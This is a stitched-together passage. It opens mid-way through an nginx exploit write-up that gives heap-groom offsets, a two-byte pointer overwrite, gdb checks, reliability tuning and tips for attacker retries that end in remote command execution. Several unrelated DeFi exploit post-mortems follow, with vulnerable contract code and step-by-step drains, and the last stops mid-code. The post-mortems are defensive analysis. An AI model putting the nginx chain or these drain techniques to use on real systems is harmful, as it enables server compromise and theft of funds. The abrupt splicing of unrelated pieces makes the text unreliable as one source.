    ngx_pool_t           *current;        //                            +0x28
    ngx_chain_t          *chain;          //                            +0x30
    ngx_pool_large_t     *large;          //                            +0x38
    ngx_pool_cleanup_t   *cleanup;        //   <-- what we corrupt      +0x40
    ngx_log_t            *log;            //                            +0x48
};

struct ngx_pool_cleanup_s {               // == ngx_pool_cleanup_t  (24 bytes)
    ngx_pool_cleanup_pt   handler;        //   called as handler(data)  +0x00
    void                 *data;           //                            +0x08
    ngx_pool_cleanup_t   *next;           //                            +0x10
};

So pool->cleanup (above) is a heap address whose high bytes are ASLR-random but whose enclosing 64 KB block we know from the leak. We overwrite only the low 2 bytes of the pointer at pool+0x40 so it lands on one of our sprayed records in that same block. The cleanup record’s handler is a nginx-.text address (the stripped ngx_http_limit_conn_cleanup) and its data sits at cleanup+0x18. (The chain has a single entry here, next = NULL; we don’t care which handler it legitimately holds, the partial overwrite replaces the head pointer with the address of our fake record.)

5.2 Landing the write on pool->cleanup

gdb-measured, deterministic geometry on the Debian heap (offsets from the leaked bases; the groom keeps them stable). Note S (the rift’s set buffer) rises as the rift URI grows, so the target offset is a fixpoint, N+3K must equal the gap it itself produces:

victim cleanup field   = S + 0xbd0           → N + 3K = 0xbd0  →  N=9, K=1005  (fixpoint; URI stays <2k)
cleanup pointer value  = heap_base + 0x1001f8 → block = (heap_base+0x1001f8) & ~0xffff
command holder spray   = heap_base + 0x28680  → cmd_ptr
record runs (167 recs, 24-byte stride) straddle the cleanup ptr: heap_base + {0xe4ef0 … 0x157470}
groom: 16 empty connections (vs 4 on Ubuntu) evict a wedged conn pool so v lands close to S

S is e->buf.data of the rift request (caught the same way as §4 but driven by /api/v1/…). The payload A×9 + (+)×1005 + YYYY lands the last 2 bytes (YYYY) exactly on pool->cleanup[+0x40..+0x41]. pick_yyyy(heap_base) chooses a YYYY whose absolute address block|YYYY is an actual record and is URL-safe.

5.3 The corrupted cleanup

When the rift fires, the last 2 bytes of the victim’s pool->cleanup are overwritten with the URL-safe YYYY while the ASLR-random high bytes ride along untouched. So pool->cleanup now points at one of our sprayed {handler=&system, data=cmd_ptr, next=0} records inside the same 64 KB block, &system is the leaked libc_base + 0x53110, and data is the command-holder spray. Only the low 2 bytes were ever written by us; the rest is the victim’s own heap base.

The screenshot in §5.4 captures this live. The trick: at the system breakpoint, ngx_destroy_pool has left pool in $rbp and the cleanup record c in $rbx (both callee-saved, so they survive into system). So in that one stop:

• x/3gx $rbx shows the redirected record — { &system, cmd_ptr, 0 };

• x/gx $rbp+0x40 shows the victim’s pool->cleanup pointing right at it;

• $rbp itself shows the pool header smashed with the escaped %2B overflow (the bytes just before the cleanup field);

• x/s $rdi is the command (c->data).

5.4 The cleanup walk calls system

break *system, then fire the chain. The stock release binary is stripped (no line numbers, and a couple of static frames show as ??), but the call chain is unmistakable, system is reached straight from ngx_destroy_pool‘s cleanup walk. The same stop also shows the §5.3 corrupted cleanup ($rbx = the {&system, cmd, 0} record, $rbp+0x40 = pool->cleanup):

Result: the worker executed our command as its own user:

$ docker exec nginx-rift-official cat /tmp/rce_proof
uid=101(nginx) gid=101(nginx) groups=101(nginx)

5.5 The obstacle cascade (what gdb taught me, and the fixes)

Getting from “the pointer is corrupted” to “system fires cleanly” took fighting five crashes; each is worth recording because the fix is baked into the exploit/config:

• SIGSEGV in ngx_http_request_handler: the overflow smashed the victim’s connection pool (which sat between the rift block and the victim’s request pool), breaking the event struct on the close event. Fix: the empty-conn groom evicts that conn pool so the request pool lands right after the rift block, nothing in between.

• SIGSEGV in ngx_palloc_small (from ngx_http_log_request to ngx_pnalloc): finalizing the victim logs the request, allocating from its smashed r->pool header before the cleanup walk. Fix: access_log off; on /api/upload.

• SIGABRT in free() during ngx_destroy_pool of the rift request’s pool: reaching a far victim forced a 2nd pool block / smashed a chunk header. Fix: keep a parked on the upstream (its pool frees after the victim fires) + a minimal overflow.

• pick_yyyy finds nothing: on some bases no record run lands in the cleanup block. Fix: a tiled victim body + early/post-victim sprays, so record runs straddle the block for any base.

• SIGSEGV in free() during ngx_destroy_pool (Debian-specific): if the rift URI >= 2 k it spills into a large header buffer, which moves S, so the target overshoots the victim’s cleanup field and the smashed pool crashes in free() instead of firing. Fix: the fixpoint N=9, K=1005 keeps the URI < 2 k; since S itself rises with URI length, N+3K must equal the gap it produces (solved by iterating).

The access_log off, the parked-upstream ordering, and the URI-length fixpoint are the non-obvious ones, each surfaced only because the crash backtrace pointed straight at the offending frame.

5.6 Dead-ends and pivots (ideas that didn’t survive contact)

The crashes above are the runtime fights. These are the bigger design dead-ends; approaches that seemed right and had to be abandoned. They’re the most useful part of the writeup, because each pivot is what actually made the chain work on a stock Debian release:

• Write the full cleanup pointer (the public-PoC approach): rift emits only URL-safe bytes, so a full 48-bit heap address is writable only ~0.9 % of the time under ASLR (measured, §3.1). → The 2-byte partial overwrite of an existing limit_conn cleanup pointer (§3.2).

• Use rift alone: it has no info-leak; the public PoC just hardcodes LIBC_BASE/HEAP_BASE (ASLR-off only). → Chain PoolSlip as the leak primitive (§2).

• Leak libc via the “big POST body mmaps just below libc” sled (worked on Ubuntu): on Debian glibc 2.41 large allocations land in the low brk/PIE cluster, not below libc, so no libc-cluster pointer ever appears that way. → The libpcre/regex pointer that ld maps at a fixed 0xb0ad08 below libc, reflected at $args[1729].

• Leak libc via a freed unsorted-bin chunk’s main_arena fd/bk: the over-read window held no main_arena pointer; freed pool blocks got reused, and freeing large chunks raised glibc’s dynamic mmap threshold (pushing bodies to brk). → The same libpcre pointer, deterministic, no grooming needed.

• Leak straight off /search with no warm-up: the off-1729 pointer isn’t present on a cold heap. → ~40 /search warm-up hits churn the heap so it settles there (verified 5/5 across bases).

• Over-read further (k≈500) to reach a libc pointer: r->args.len then runs past the mapped pool so Empty reflection / worker SIGSEGV. → Keep k=350 (~2100 B, stays mapped); the off-1729 pointer is already in range.

• Read engine/request structs by name in gdb (p e->is_args, r->uri): the release image is stripped, so field-by-name throws and the probes silently captured nothing. → raw byte offsets + $rdi at *func entry; identify the victim by read_body call-order, never by r->uri (a late field whose offset differs from the source build).

• Calibrate TARGET_OFF with a short rift URI: the set-buffer S rises with URI length, so the short-URI gap (0x18f9/0x10e9) was wrong for the real long URI and the write overshot the cleanup field. → Solve the fixpoint N+3K == gap(S(K)) → N=9, K=1005 (URI stays < 2 k).

• 4-empty groom (the Ubuntu value): on Debian it still left a conn pool wedged between a and v, if TARGET_OFF=0x18f9, forcing the URI >= 2 k (regime flip, no fixpoint). → 16 empties (Debian conn-pool sizing) evict it so v lands close to S → TARGET_OFF=0xbd0.

• Auto-retry loop + phone-home callback to force “100 %”: every fire eventually crashes the worker post-system(), so phantom limit_conn counts cap same-IP retries; it also diverged from the simple one-shot PoC flow. → one-shot like the lab PoC (leak once, fire once, check the box); ~90 %/fire, re-run on a miss; fresh source IPs make retries independent.

• Tight groom sleeps: the connection-ordering race wasn’t settled → ~60 %. → let each phase settle (longer inter-step sleeps) → ~90 %; more than that doesn’t help.

6. Reliability & notes

• ~90 % per fresh worker (11/12 single-shot) on the stock release image. The residual ~10 % is groom-timing variance (the heap race occasionally places the victim a slot off make the 2-byte write misses pool->cleanup → SIGSEGV). The jump from an initial ~60 % was simply letting each groom phase settle (longer inter-step sleeps); more sleep beyond that doesn’t help.

• Per-IP ceiling, not per-shot. Every attempt eventually crashes the worker, system() fires first during the cleanup walk, then the smashed pool’s free() SIGSEGVs. The crash leaves phantom limit_conn (perip) counts (the dead connections’ cleanups never run), so after ~2 attempts the source IP hits the perip-100 cap and further connections are refused. Same-IP retries therefore don’t compound; a networked attacker retrying from fresh source IPs gets independent ~90 % shots to effectively 100 %.

• Nothing hardcoded: libc, heap and every write target come from the live PoolSlip leak. The release build is stripped, so the only build-specific “knowledge” used is struct offsets (identical to the source build) plus the glibc-2.41 system offset.

• No nginx restart: the master respawns the crashed worker; the chain can run again immediately.

• Config credibility: No allocator tuning, a plausible API-gateway shape (limit_conn, a v1 →v2 migration rewrite, an upload proxy, a degraded search page), not a contrived lab config. The catch: the triggering rewrite+set shape looks innocuous but is a specific pattern that's uncommon in real configs (see scope note), the point here is the technique, not that this shape is widespread.

7. Credits & references

Original report:

• CVE-2026-42945 (rift)

• CVE-2026-9256 (PoolSlip)

Original component PoCs: DepthFirstDisclosures/Nginx-Rift (rift).

A single ownership renouncement - meant to say “nobody controls this contract” - became an open invitation for exploitation. Here’s how a trust-building gesture turned into a $98K catastrophe.

• Date: May 28, 2026

• Protocol: ONTR Token (Ethereum)

• Loss: ~49.4801 WETH (~$98,315)

• Root Cause: Flawed onlyOwner modifier treats renounced ownership (owner == address(0)) as a pass-all condition

• Vulnerable Contract: 0xf074865358b0dd039beee075831f8a2ae6b1f3f3 (ONTR Token)

• Attacker: 0xe806B37A2caab7E65057A24E3802aDa757550b760

• Attack TX: 0x98f80eff0ce609606bb73cef3edfbb4c1d415ffc7676fec16f4d980c54903621

Background

ONTR is an ERC-20 token deployed on the Ethereum mainnet. Like many tokens in the DeFi ecosystem, it maintained a liquidity pool paired with WETH on a decentralized exchange (PancakeSwap). The contract implemented standard ownership patterns - or so it appeared.

At deployment in block 25192445 (May 28, 2026, 07:48:11 UTC), the contract creator did something common in the token space: they renounced ownership immediately. The on-chain logs tell the story clearly - two OwnershipTransferred events fired in the same deployment transaction:

1. OwnershipTransferred(address(0) → 0x1cFF...9718) - deployer receives ownership

2. OwnershipTransferred(0x1cFF...9718 → address(0)) - deployer renounces ownership

In DeFi, renouncing ownership is typically a trust signal - it tells users “nobody can rug this contract.” But in the ONTR contract, this gesture had the exact opposite effect. The contract featured several owner-restricted functions, including obscurely named methods like desertJasper() and glenFlash(), which could manipulate token balances directly. These functions were gated by an onlyOwner modifier - and the modifier had a fatal flaw that turned renounced ownership into an open door.

Root Cause

The vulnerability lies in the custom Ownable contract (verified source on Etherscan) bundled with the ONTR token. Instead of using the standard OpenZeppelin Ownable, the contract rolled its own version with heavily obfuscated variable names - and a fatal flaw in the modifier:

Here’s where it gets interesting. The require statement contains an OR condition: hazeDeer == address(0) || hazeDeer == _msgSender(). This means the check passes in two scenarios:

1. The caller is the owner - this is the intended behavior

2. The owner is the zero address - this is the vulnerability

The on-chain evidence is unambiguous: the contract creator deliberately renounced ownership to address(0) at deployment. This wasn’t a missing initialization - it was an intentional action. But combined with the flawed modifier, renouncing ownership didn’t lock out admin functions. It unlocked them for everyone.

The contrast with the real OpenZeppelin Ownable is stark:

// Secure: Real OpenZeppelin Ownable - renouncing LOCKS admin functions
modifier onlyOwner() {
    if (owner() != _msgSender()) {
        revert OwnableUnauthorizedAccount(_msgSender());
    }
    _;
}
// After renounceOwnership → owner = address(0) → address(0) != msg.sender → REVERTS

// Vulnerable: ONTR's custom Ownable - renouncing OPENS admin functions
modifier onlyOwner() {
    require(hazeDeer == address(0) || hazeDeer == _msgSender());
    _;
}
// After renounceOwnership → hazeDeer = address(0) → address(0) == address(0) → PASSES!

In the real OpenZeppelin Ownable, renouncing ownership sets owner to address(0), and since address(0) != msg.sender for any real caller, all admin functions become permanently locked. That’s the correct behavior. In ONTR’s custom version, the extra || hazeDeer == address(0) condition means renouncing ownership has the opposite effect - it makes admin functions callable by anyone. The obfuscated variable name hazeDeer instead of _owner is just icing on the cake - an attempt to make the code harder to audit.

Step-by-Step: The Attack

1. Deploy Attack Contract - The attacker at 0xe806...b760 deployed a malicious contract approximately 2 hours after the ONTR token was created and ownership was renounced. They likely spotted the renouncement event and analyzed the modifier logic.

2. Claim Ownership via transferOwnership() - Since the creator had renounced ownership (owner == address(0)), the onlyOwner modifier was trivially bypassed. The attacker called transferOwnership() to set their own contract as the new owner. No keys stolen, no social engineering - just calling a public function that the renouncement was supposed to have locked forever.

3. Queue Hidden Balances via desertJasper() - Now the legitimate owner, the attacker called desertJasper(), an obscurely-named function that writes arbitrary values into an internal _queue mapping. This function accepts arrays of target addresses and balance values, effectively staging the balance inflation.

4. Execute Balance Inflation via glenFlash() → ashBud() - The attacker then called glenFlash(), which internally invokes ashBud(). This function copies the queued values directly into _balances - without updating totalSupply. The attacker’s balance was inflated by 10^30 base units of ONTR tokens, all invisible to the totalSupply variable.

5. Transfer Inflated Tokens to Liquidity Pool - The attacker transferred the freshly minted (or rather, fabricated) ONTR tokens to the PancakePair liquidity pool contract that held the ONTR/WETH pair.

6. Swap for WETH and Profit - Finally, the attacker executed a swap against the liquidity pool, draining 49.4801 WETH (~$98,315) in exchange for the worthless inflated tokens.

The entire attack was executed in a single transaction, leaving no time for monitoring systems to react before the funds were gone.

Code Analysis

The exploit chain involved three key functions working in concert. Let’s examine each one:

The Gateway: transferOwnership()

From the actual ONTR source (Ownable.sol):

function transferOwnership(address tideFlint) public virtual onlyOwner {
    require(tideFlint != address(0));
    smokeAxe(tideFlint);
}

function smokeAxe(address tideFlint) internal virtual {
    address oliveLight = hazeDeer;
    hazeDeer = tideFlint;
    emit OwnershipTransferred(oliveLight, tideFlint);
}

This function should have been permanently locked after the creator renounced ownership. But with hazeDeer == address(0) and the flawed modifier treating that as a pass-all condition, the attacker simply called it with their own contract address - instant ownership of a contract that was supposed to be “ownerless.”

The Staging: desertJasper()

From the actual ONTR source (IERC20Metadata.sol):

function desertJasper(address starField, uint256 meadowWood) public onlyOwner {
    require(roseBanner(_msgSender()));
    require(clearCherry == address(0) || starField != clearCherry);
    require(starField != address(0));

    marchTree[harborCoil] = bufferMyrtle(address(0), starField, meadowWood, block.timestamp);
    if (meadowWood > 0) {
        moorSouth.push(harborCoil); // Stages balance inflation entries
    }
    vortexMesa.push(harborCoil);
    harborCoil++;
}

This function writes to internal mappings using completely obfuscated names - marchTree, harborCoil, bufferMyrtle, moorSouth, vortexMesa. But strip away the wordplay and the logic is clear: it queues a target address (starField) with a balance value (meadowWood) for later execution. The moorSouth array acts as a queue of pending balance inflations.

The Trigger: glenFlash() → ashBud()

function glenFlash() external { // NOTE: No onlyOwner modifier!
    uint256 sandFern = moorSouth.length;

    for (uint256 storkWind = 0; storkWind < sandFern; storkWind++) {
        uint256 riverDawn = moorSouth[storkWind];
        bufferMyrtle storage mapleTusk = marchTree[riverDawn];

        ashBud(mapleTusk.starField, mapleTusk.meadowWood); // Inflates balance
    }

    delete moorSouth;
}

Notice a critical detail: glenFlash() has no onlyOwner modifier - it’s callable by anyone. It iterates through the moorSouth queue and calls ashBud() for each entry, which directly overwrites _balances without updating totalSupply. This means:

• The inflated tokens appear in the balance mapping but the total supply remains unchanged

• Standard monitoring tools checking totalSupply anomalies would see nothing wrong

• The ERC-20 interface reports the attacker’s balance as valid, so DEX swaps execute normally

This is a textbook example of shadow minting - creating tokens that exist only in the balance mapping, invisible to supply-tracking mechanisms but fully functional for transfers and swaps.

Lessons Learned

• Never use address(0) as a bypass condition in access control. The onlyOwner modifier should never include owner == address(0) as a passing condition. Renouncing ownership to address(0) is meant to permanently lock admin functions - not open them to everyone. Use OpenZeppelin’s Ownable where renounceOwnership() makes all onlyOwner functions unreachable.

• Understand the interaction between renouncement and custom modifiers. The ONTR creator likely believed renouncing ownership would make the contract immutable. Instead, the custom modifier logic turned renouncement into an open backdoor. If rolling custom access control, test every edge case - especially the address(0) owner state.

• Use battle-tested libraries - don’t roll your own. OpenZeppelin’s Ownable handles initialization, renouncement, and transfer correctly out of the box. Custom ownership implementations introduce unnecessary risk, as this incident brutally demonstrates.

• Obfuscated function names are not security. Names like desertJasper(), glenFlash(), and ashBud() don’t hide functionality from attackers. Decompilers and static analysis tools don’t care about names - they follow the logic. Security through obscurity is no security at all.

• Direct balance manipulation functions are a critical red flag. Any function that writes directly to _balances without corresponding totalSupply updates should trigger an immediate audit finding. These patterns are frequently used in honeypot tokens and rug pulls.

• Audit coverage must include all modifier logic. Access control modifiers are the gatekeepers of privileged functions. A single flawed modifier can cascade into compromise of every function that depends on it. Auditors should treat modifier edge cases (zero address, overflow, reentrancy) with the same rigor as core business logic.

Subscribe now

Conclusion

The ONTR exploit is a masterclass in unintended consequences. The contract creator renounced ownership - a gesture meant to inspire community trust - and in doing so, unknowingly activated the very backdoor that allowed an attacker to steal $98K just two hours later. No flash loans, no oracle manipulation, no cross-chain bridge complexity - just a flawed require statement that turned the concept of “renounced ownership” on its head.

A single || owner == address(0) turned a lock into a key.

This incident underscores a principle that the DeFi ecosystem keeps learning the hard way: access control is not optional - it’s survival. Renouncing ownership should mean “nobody can touch this.” In ONTR’s case, it meant “everybody can touch this.” Using battle-tested libraries like OpenZeppelin’s Ownable, understanding the security implications of every modifier edge case, and subjecting custom access control logic to rigorous audit scrutiny are not best practices - they are the minimum bar for deploying contracts that hold other people’s money.

In DeFi, good intentions don’t guarantee good security. Only correct code does.

On May 12, 2026, Aurellion Labs, an Arbitrum-based DeFi protocol, suffered a security incident resulting in a loss of approximately $456K USDC. The root cause was an incomplete facet upgrade: the protocol's own owner had previously added a new SafeOwnable facet to the EIP-2535 Diamond Proxy - registering an initialize(address) selector - but omitted the post-cut initializer call, leaving the OpenZeppelin _initialized storage slot at zero. An attacker observed this uninitialized state, called initialize() to seize ownership, injected a fund-draining logic facet, and swept outstanding user USDC approvals.

Technical Analysis of the Exploit

Incident Overview

• Time of Incident: May 12, 2026.

• Target Chain: Arbitrum One.

• Total Loss: ~456K USDC.

• Pre-condition - Owner Upgrade (Incomplete): 0x1868d5d48ffc6b4c226208fcd2a5f70654456a77a173f81fe514ae15fabc86d1

• Attack Transaction: 0x19cbafae517791e7e73403313d70440abf60558350e419df05c04f816998fe0a

• Victim Contract (Diamond Proxy): 0x0adc63e71b035d5c7fdb1b4593999fa1f296f1b2

• Malicious Facet: 0x3CA79C1cf29B8d19F7c643bB6E6bc9c49762E70f

• Attacker Address (EOA): 0x9F49591a3bf95B49cD8d9477b4481Ce9da68d5Ca

Root Cause

The vulnerability arose from two compounding weaknesses in Aurellion Labs’ EIP-2535 Diamond Proxy implementation.

First, the protocol’s own owner performed a facet upgrade - transaction 0x1868d5...bc86d1 - adding a new SafeOwnable facet under action Add with five selectors including initialize(address). The diamondCut call set target = address(0) and data = "", meaning no initializer was invoked as part of the upgrade.

Second, the proxy's existing ownership had been set through a path that never wrote to the _initialized slot, so the guard remained at zero. The proxy treated itself as uninitialized, leaving initialize(address) open to any caller.

By invoking initialize() and supplying an attacker-controlled address, the adversary successfully overwrote the _owner record at the LibDiamond storage slot (0xc8fcad8d...131f) and assumed full administrative control over the proxy - including the authority to make further diamondCut calls.

Attack Flow

The attack executed across two transactions on Arbitrum One.

Pre-condition: Incomplete Owner Upgrade

Prior to the exploit, the protocol’s owner called diamondCut (transaction 0x1868d5...bc86d1) to add a new SafeOwnable facet at 0x3CA79C1cf29B8d19F7c643bB6E6bc9c49762E70f with action Add across five selectors:

• 0xc4d66de8 - initialize(address)

• 0x8da5cb5b - owner()

• 0xf2fde38b - transferOwnership(address)

• 0x79ba5097 - acceptOwnership()

• 0x715018a6 - renounceOwnership()

The target was address(0) and data was empty - the post-cut initialize() call was never made. This was the critical omission: the Diamond now had a live initialize(address) selector registered against a facet whose OpenZeppelin guard slot had never been written, leaving initialization open to any caller.

Ownership Takeover

In transaction 0x19cbaf...98fe0a, the attacker called initialize(0x4D7759…8F4d7e) on the Diamond Proxy, passing an attacker-controlled intermediary contract as the new owner argument. Because the _initialized slot was 0, the guard passed without reversion. An OwnershipTransferred event was emitted, transferring control away from the legitimate owner (0x1866Fd4a9e15E0005480b5171B63b43d2d507698) to the attacker’s intermediary (0x4D7759e69cC973D338a1ea2fDB125C2b818F4d7e). An Initialized event immediately followed, updating the version counter to 1 and permanently sealing the initialization path against any future re-entry.

Malicious Facet Injection

Now holding proxy ownership through the intermediary contract, the attacker invoked diamondCut - the EIP-2535 mechanism used to register or replace logic facets - to append a custom, attacker-controlled facet (0x3ca79c1cf29b8d19f7c643bb6e6bc9c49762e70f) to the proxy. A DiamondCutExecuted event confirmed the registration of proposal 0x1133cd…3fa548. This facet exposed a pullERC20 function capable of issuing arbitrary transferFrom calls on behalf of the proxy, against any token for which the proxy held a user-granted allowance.

User Fund Drainage

Because users had previously granted USDC allowances to the Aurellion proxy for legitimate protocol interactions, the attacker used pullERC20 to sweep those outstanding balances:

• 450,999.72 USDC drained from 0x2e933518068b1CFC9746d94762Ef2EDDD39c6048

• 3.00 USDC drained from 0xa90714a15D6e5C0EB3096462De8dc4B22E01589A

• 1.28 USDC drained from 0xEceD2D37e5EDCFc67ffB74c655416F893d20793E

  

Fund Extraction

The proxy consolidated approximately 456,442.53 USDC - inclusive of residual in-contract balance - and forwarded the full amount to the attacker’s primary wallet (0x9F49591a3bf95B49cD8d9477b4481Ce9da68d5Ca), completing the exploit without any additional transactions.

Conclusion

A legitimate facet upgrade, one skipped initialize() call, and complete protocol takeover - this incident shows how small deployment gaps become catastrophic in a Diamond Proxy, where facets can be swapped independently but must each be initialized atomically.

In EIP-2535, the gap between “facet registered” and “initializer called” is narrow in implementation and devastating in consequence. The fix is unambiguous: either encode the initialize() call directly in the diamondCut data field so it executes atomically, or permanently close it with _disableInitializers() in the facet’s constructor. A deferred follow-up transaction is not acceptable.

The attack also illustrates a second-order risk in any approval-based model: the attacker swept funds not from the protocol’s treasury but from users’ wallets, exploiting pre-existing USDC allowances on the now-compromised contract. Contract vulnerabilities can become user losses - revoking stale token approvals remains an important habit.

Protocol Overview

TrustedVolumes operates as a market maker and resolver in DeFi, specializing in Request-for-Quote (RFQ) systems. Rather than relying on AMM pools, it quotes prices for token pairs and fulfills signed orders directly from its own inventory. It served as a liquidity resolver for aggregators including 1inch Fusion, providing deep liquidity for WETH, WBTC, USDT, and USDC.

The protocol’s core mechanism is a custom RFQ proxy contract. Makers pre-authorize signers, takers submit signed orders to the proxy, and the proxy verifies signatures before executing atomic token swaps via transferFrom from the maker’s approved inventory.

Background

Contracts

• RFQProxy (0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756): The public entry point. Routes calls via DELEGATECALL to the implementation.

• RFQImplementation (0x88eb28009351Fb414A5746F5d8CA91cdc02760d8): Contains the order-filling logic. Unverified on Etherscan.

• InventoryVault (0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31): Holds TrustedVolumes’ token reserves with unlimited ERC-20 approvals granted to the proxy.

Key Functions

• registerAllowedOrderSigner(address signer, bool allowed): Registers an EOA as an authorized signer for orders where msg.sender is the receiver. Intended to be called only by the maker.

• fill-order function (selector 0x4112e1c2): Verifies the order signature, checks replay protection, then executes the token swap by pulling from order.inventory into the recipient address.

Normal Order-Fill Flow

1. TrustedVolumes registers its authorized signers via registerAllowedOrderSigner.

2. A taker requests a quote; TrustedVolumes’ authorized signer signs an order specifying the token pair, amounts, inventory source, and a unique salt.

3. Taker submits the signed order to fill-order.

4. The proxy recovers the signer via ecrecover and checks allowedOrderSigner[order.receiver][signer].

5. Replay protection confirms the salt has not been used.

6. Proxy pulls tokens from order.inventory to the recipient and receives payment in return.

7. Order is marked as filled.

Key Information

• Attacker EOA: 0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100

• Exploit contract: 0xD4D5DB5EC65272B26F756712247281515F211E95

• Attack transaction: 0xc5c61b3ac39d854773b9dc34bd0cdbc8b5bbf75f18551802a0b5881fcb990513

Exploit Analysis

Intended vs. Actual Behavior

Normally, registerAllowedOrderSigner should only be callable by the maker, binding a trusted signer to that maker’s receiver address. The fill-order function should then verify that the signer is authorized for the same receiver whose inventory is being pulled. These two checks - signer authorization and token source - were expected to be tightly coupled.

They were not.

The Attack

After looking at the end of the attack transaction, the attacker ended up with 1,291 WETH, 206,282 USDT, 16.939 WBTC, and 1,268,771 USDC - all drained from TrustedVolumes’ vault in a single atomic transaction. How was this possible?

Step 1 - Deploy and register. The attacker deployed exploit contract 0xD4D5DB5EC65272B26F756712247281515F211E95. In its constructor, it immediately called registerAllowedOrderSigner(attacker_EOA, true). Because the function had no access control whatsoever, this succeeded - the attacker’s EOA was now a valid signer for any order where the exploit contract was the receiver.

Step 2 - Approve a nominal amount. The exploit contract approved 4 wei of USDC to the RFQ proxy. This was enough to pass any basic sanity check on the taker-payment side of the fill.

Step 3 - Forge four fills. Back to the attack transaction: the attacker called fill-order four times in a single tx, once per token (WETH, USDT, WBTC, USDC). Each order was crafted with:

• inventory set to TrustedVolumes’ vault (0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31).

• receiver set to the exploit contract.

• Signed by the attacker’s registered EOA.

The authorization check - allowedOrderSigner[order.receiver][signer] - passed, because the signer was registered for the exploit contract as receiver. But the transferFrom pulled tokens from order.inventory, which was TrustedVolumes’ vault. The check and the token source referred to completely different addresses.

Normally, filling the same order twice would fail on replay protection. But the implementation read the fill status from one storage key and wrote it to a different key. The order was never actually marked as filled. All four drains - WETH, USDT, WBTC, USDC - executed without issue.

Step 4 - Exfiltrate. The exploit contract forwarded all stolen assets to the attacker’s EOA. Each fill sent 1 wei USDC back to TrustedVolumes as nominal “payment.”

The entire operation completed in one Ethereum block.

Conclusion

1. Permissionless signer registration: registerAllowedOrderSigner had no access control, allowing any address to register an arbitrary EOA as a valid signer for itself as receiver.

2. Authorization/source mismatch in fill-order: The signer validity check used order.receiver as the authorization scope, while the token pull used order.inventory as the source. These two fields were independently attacker-controlled, breaking the assumed coupling between “who authorized the order” and “whose funds are being moved.”

3. Broken replay protection: The order fill-status check read from a different storage slot than the write, meaning no order was ever durably marked as filled. The same forged order could execute multiple times within a single transaction.

4. Unlimited approvals on inventory: The vault held unlimited ERC-20 approvals to the proxy for all major assets. While a common market-maker pattern for speed, it maximized the blast radius once the above bugs were exploited.

The combination of these flaws meant that any external actor could drain the entire inventory vault in a single transaction with no prior permissions or capital. Restricting registerAllowedOrderSigner to the maker alone, and binding the authorization check to the same address as the token source, would each independently have prevented the exploit. The absence of public audits and unverified contract bytecode made external detection impossible before the attack.

Overview

Attacker: 0x5384B34C74024d6563B323351a4bBFA18432161B

Attacker’s contract 1: 0x3B9bc53Af5012b12B6886a665Bb22382211aE432

Attacker’s contract 2: 0x3B9bc53Af5012b12B6886a665Bb22382211aE432

JUDAO token: 0xf55DFF7898930a2D28cDbC39D615b1624ac86888

Vulnerable contract: 0x5D7b61e91cB59E90f7fAE8d0FE2e73976161592F

Hack transaction: 0x956e38b8ddb40ba080c8042c685ae52ee5c1b096f1d7f0c4a6c59be3eb4265bd

Analysis

At the beginning of the attack, the attacker deployed two nested contracts and granted unlimited token approvals to both the PancakeSwap Router and the Moolad Proxy. The attacker then obtained a flash loan of approximately $2.3 million in USDT, swapped the funds for roughly 5.5 million JUDAO tokens, and immediately sold the acquired JUDAO tokens.

Everything appeared normal at first, until we noticed an unusual inconsistency:

• At step 29, approximately $2.3 million USDT was swapped for around 5.5 million JUDAO tokens.

• At step 237, approximately 5.3 million JUDAO tokens were swapped back for nearly $2.6 million USDT.

This immediately revealed a critical anomaly: the attacker was able to swap fewer JUDAO tokens for a larger amount of USDT, indicating that the liquidity pair reserves or pricing mechanism had been manipulated.

A closer inspection of the code execution between these steps reveals that the reserve balances of the Cake-LP pool were updated twice prior to the malicious second swap. Notably, both updates retained the same _reserve0 value while _reserve1 differed between the two states.

From our perspective, the first reserve update appears to be correct, while the second seems incorrect. This is because the first update reflects a larger _reserve1 value, which should represent the actual post-swap reserve state. To understand why two different reserve updates occurred, we need to examine the JUDAO token source code more closely.

In the customized _update function of the JUDAO token, there is a code path that updates the pool reserves twice. First, during the sync() call, JUDAO burns deadAmount from the pool and transfers the remaining portion to itself (events 149 and 154 in our trace), then invokes basePair.sync().

Later, execution returns to the _update() function, where isBurnPair may be set to true by getSellFee() if the price increase does not exceed 5% compared to the previous day. In that case, JUDAO burns half of the amount again, transfers the other half to itself, and triggers another basePair.sync() call, causing the pool reserves to be updated a second time.

This overlap causes _reserve1 (the reserve corresponding to the JUDAO token itself) to become lower than its correct value. As a result, the price of JUDAO in the pool is artificially inflated, allowing the attacker to profit by selling JUDAO at an elevated price. This constitutes the root cause of the incident.

At the end of the attack, the attacker used a portion of the drained USDT to purchase 36 BNB, then transferred all available assets to his own address.

Summary

The root cause of this incident was a flaw in the token’s customized liquidity and balance update logic. Due to incorrect reserve accounting, the liquidity pool temporarily calculated an artificially high token price, which the attacker exploited to sell tokens at inflated values and drain a significant amount of assets from the pool. This incident demonstrates how small mistakes in custom smart contract logic - especially around liquidity pool interactions, token burns, or balance synchronization - can result in severe financial damage. Projects introducing non-standard token mechanics should always undergo comprehensive smart contract audits and security reviews before deployment to identify these edge cases early.

Incident Overview

Date: Apr 05, 2026

Platform: Linea

Attacker Address: 0x8d6778d7fae00ad2e0bc12194cf03b756fed9db3

Vulnerable Contract: 0xb68396dd4230253d27589e2004ac37389836ae17 (PerpPair on Linea)

Attack Transaction: 0xcb0744a0d453e5556f162608fae8275dabd14292bffbfcd8394af4610c606447

Exploit Mechanics

First, the attacker used a flash loan from AAVE as initial capital and deployed multiple helper contracts acting as LPs and traders.

Next, the attacker provided one-sided liquidity as an LP (only vUSD, zero asset). At this moment the contract snapshots the inverse of the current liquidityM matrix into the attacker’s position:

// perpLiquidity.sol line 147
liquidityPos.inverseSnapshotM = MatrixMath.inverseTwoByTwo(liquidityM, decimals.liquidityMDecimals);

Following that, the helper trader executed a trade. During trade execution, liquidityM is updated using an asymmetric rounding scheme in perpTrade.sol:

// perpTrade.sol lines 295-298 (LONG trade path)
liquidityM[0][0] += aY * m10 / liqMDec;                 // floor division (rounds DOWN)
liquidityM[0][1] += aY * m11 / liqMDec;                      // floor division
liquidityM[1][0] = m10 - UtilMath.divCeil(aX * m10, liqMDec); // divCeil (rounds UP)
liquidityM[1][1] = m11 - UtilMath.divCeil(aX * m11, liqMDec); // divCeil (rounds UP)

